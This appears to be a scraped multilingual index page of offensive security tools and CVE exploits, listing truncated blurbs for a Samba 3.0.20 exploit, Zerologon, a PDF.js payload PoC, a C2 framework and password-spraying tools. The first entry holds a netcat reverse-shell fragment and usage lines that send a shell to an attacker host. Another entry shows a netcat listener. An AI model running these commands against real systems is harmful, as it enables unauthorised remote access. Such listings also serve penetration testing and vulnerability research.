CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Verwendung root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py...

Gideon

root@kitploit: ██████╗ ██╗██████╗ ███████╗ ██████╗ ███╗ ██╗ ██╔════╝ ██║██╔══██╗██╔════╝██╔═══██╗████╗ ██║ ██║ ███╗██║██║ ██║█████╗ ██║ ██║██╔██╗ ██║ ██║ ██║██║██║ ██║██╔══╝ ██║ ██║██║╚██╗██║ ╚██████╔╝██║██████╔╝███████╗╚██████╔╝██║ ╚████║ ╚═════╝ ╚═╝╚═════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═══╝ Agente...

pastego

pastego 使用GO和语法表达式（PEG）抓取/解析Pastebin。 pastego.png 安装 $ go get -u github.com/notdodo/pastego 用法 搜索关键词区分大小写 pastego -s "password,keygen,PASSWORD" 你可以使用布尔运算符来减少误报 pastego -s "quake && earthquake, password && php || sudo || Linux || ''" 此命令将搜索包含 quake 但不包含 earthquake 的粘贴，以及包含 password 但不包含...

pastego

pastego Scrape/Parse Pastebin using GO and grammar expression PEG. pastego.png Installation $ go get -u github.com/notdodo/pastego Usage Search keywords are case sensitive pastego -s "password,keygen,PASSWORD" You can use boolean operators to reduce false positive pastego -s "quake && earthquake,...

CVE-2024-50498

CVE-2024-50498 الوصف ثغرة التحكم غير السليم في توليد الكود 'Code Injection' في WP Query Console من LUBUS تسمح بحقن الكود. تؤثر هذه المشكلة على WP Query Console: من غير محدد حتى 1.0. إعداد مستمع Netcat: افتح طرفية على جهازك وشغّل مستمع Netcat لانتظار اتصال الصدفة العكسية root@kitploit: nc -lvnp...

cve-2024-4367-poc

CVE-2024-4367 POC para PDF.js PoC para la vulnerabilidad CVE-2024-4367 de PDF.js: el script pdf-modify.py se puede utilizar para modificar tus PDFs e inyectar payloads. Uso 1. Asegúrate de que CVE-2024-4367-POC-base-placeholder.pdf esté en el directorio de trabajo. 2. Descomenta/modifica la...

smb-usermap

Samba "username map script" تنفيذ الأوامر تستغل هذه الوحدة ثغرة تنفيذ أوامر في إصدارات Samba من 3.0.20 إلى 3.0.25rc3 عند استخدام خيار الإعدادات غير الافتراضي "username map script". من خلال تحديد اسم مستخدم يحتوي على محارف شل shell meta characters، يمكن للمهاجمين تنفيذ أوامر عشوائية. لا يلزم أي...

m365_groups_enum

Enumerate Microsoft 365 Groups in a tenant with their metadata Description The allgroups.py script allows to enumerate all Microsoft 365 Groups in a Azure AD tenant with their metadata: name visibility: public or private description email address owners members Teams enabled? SharePoint URL e.g...

CVE-2026-38426

CVE-2026-38426: strcpy-Stack-Pufferüberlauf in Tasmota fetchjpg boundary40 CVE: CVE-2026-38426 Schweregrad: Kritisch CVSS 9.8 Produkt: Arendst Tasmota Betroffene Version: = 15.3.0.3 Datei: tasmota/tasmotaxdrvdriver/xdrv10scripter.ino Funktion: fetchjpg — case 0 erste Verbindung Autor: Saidakbarxo...

scallion

2020 Project Update Scallion was a hobby project to learn OpenCL and RSA. We are not currently maintaining scallion. It has bitrotted in two important ways: 1. Tor has moved on to v3 Onion addresses, which scallion does not support. Old v2 addresses will stop working in October of 2021. The new...

CVE-2025-8110

CVE-2025-8110 — Symlink-Pfad-Traversal in Gogs → RCE Überblick CVE-2025-8110 ist eine kritische Schwachstelle im Gogs selbst gehosteter Git-Dienst in Versionen = 0.13.3. Die PutContents-API validiert Dateipfade auf Verzeichnis-Traversal ../, löst jedoch keine symbolischen Links vor dem Schreiben...

EUVD-2026-66816

The front-end interface /superdiamond/preview/projectCode/module/type of super-diamond-server = 1.3.3 is vulnerable to SQL injection. The module parameter is directly concatenated into the SQL IN clause through StringUtils.split and string concatenation without being parameterized and bound...

endgame

ENDGAME C2 FRAMEWORK ENDGAME es un framework profesional de comando y control construido para compromisos autorizados de red team, pruebas de penetración e investigación educativa en seguridad. Diseñado para simular técnicas realistas de adversarios, evaluar la cobertura de detección y ayudar a l...

CVE-2025-53690

CVE-2025-53690 Schwachstelle durch Deserialisierung nicht vertrauenswürdiger Daten in Sitecore Experience Manager XM und Sitecore Experience Platform XP ermöglicht Code-Injection. Dieses Problem betrifft Experience Manager XM: bis Version 9.0; Experience Platform XP: bis Version 9.0. Wie...

CVE-2026-64640

CVE-2026-64640 — Apache Polaris: emisión de credenciales antes de la validación de ubicación en register Un reproductor autónomo de un solo comando para CVE-2026-64640 : los endpoints register de Iceberg REST en Apache Polaris generan credenciales de almacenamiento en la nube para una ruta...

CVE-2024-24919-Bulk-Scanner

Escáner Masivo CVE-2024-24919 CVE-2024-24919 Divulgación de Información de Check Point Security Gateway Script basado en y el crédito va para: https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/ Este script de Python escanea una lista de URLs en busca de la vulnerabilidad...

Cisco-SNMP-Slap

OVERVIEW cisco-snmp-slap يستخدم انتحال عنوان IP لتجاوز قائمة التحكم بالوصول ACL التي تحمي خدمة SNMP على جهاز Cisco IOS. عادةً ما يكون انتحال IP ذا فائدة محدودة في الهجمات الحقيقية خارج نطاق هجمات حجب الخدمة DoS. لا يمكن لأي خدمة TCP إكمال المصافحة الأولية. أما حزم UDP فمن الأسهل انتحالها، لكن...

Inspector

Ayudante de escalada de privilegios unix RESUMEN Inspector es un script de Python para ayudar en la escalada de privilegios en entornos Linux. Tras su inicio, este script busca la versión del kernel y verifica si existe un exploit, carga el historial de archivos bash, zsh, mysql... y carga la lis...

msprobe

msprobe About Installing Usage Examples Coming Soon Acknowledgements About Finding all things on-prem Microsoft for password spraying and enumeration. The tool will used a list of common subdomains associated with your target apex domain to attempt to discover valid instances of on-prem Microsoft...

SecuraBV-CVE-2020-1472

Script de test ZeroLogon Un script Python qui utilise la bibliothèque Impacket pour tester la vulnérabilité à l'exploit Zerologon CVE-2020-1472. Il tente d'effectuer le contournement de l'authentification Netlogon. Le script se termine immédiatement en cas de succès du contournement, sans effectu...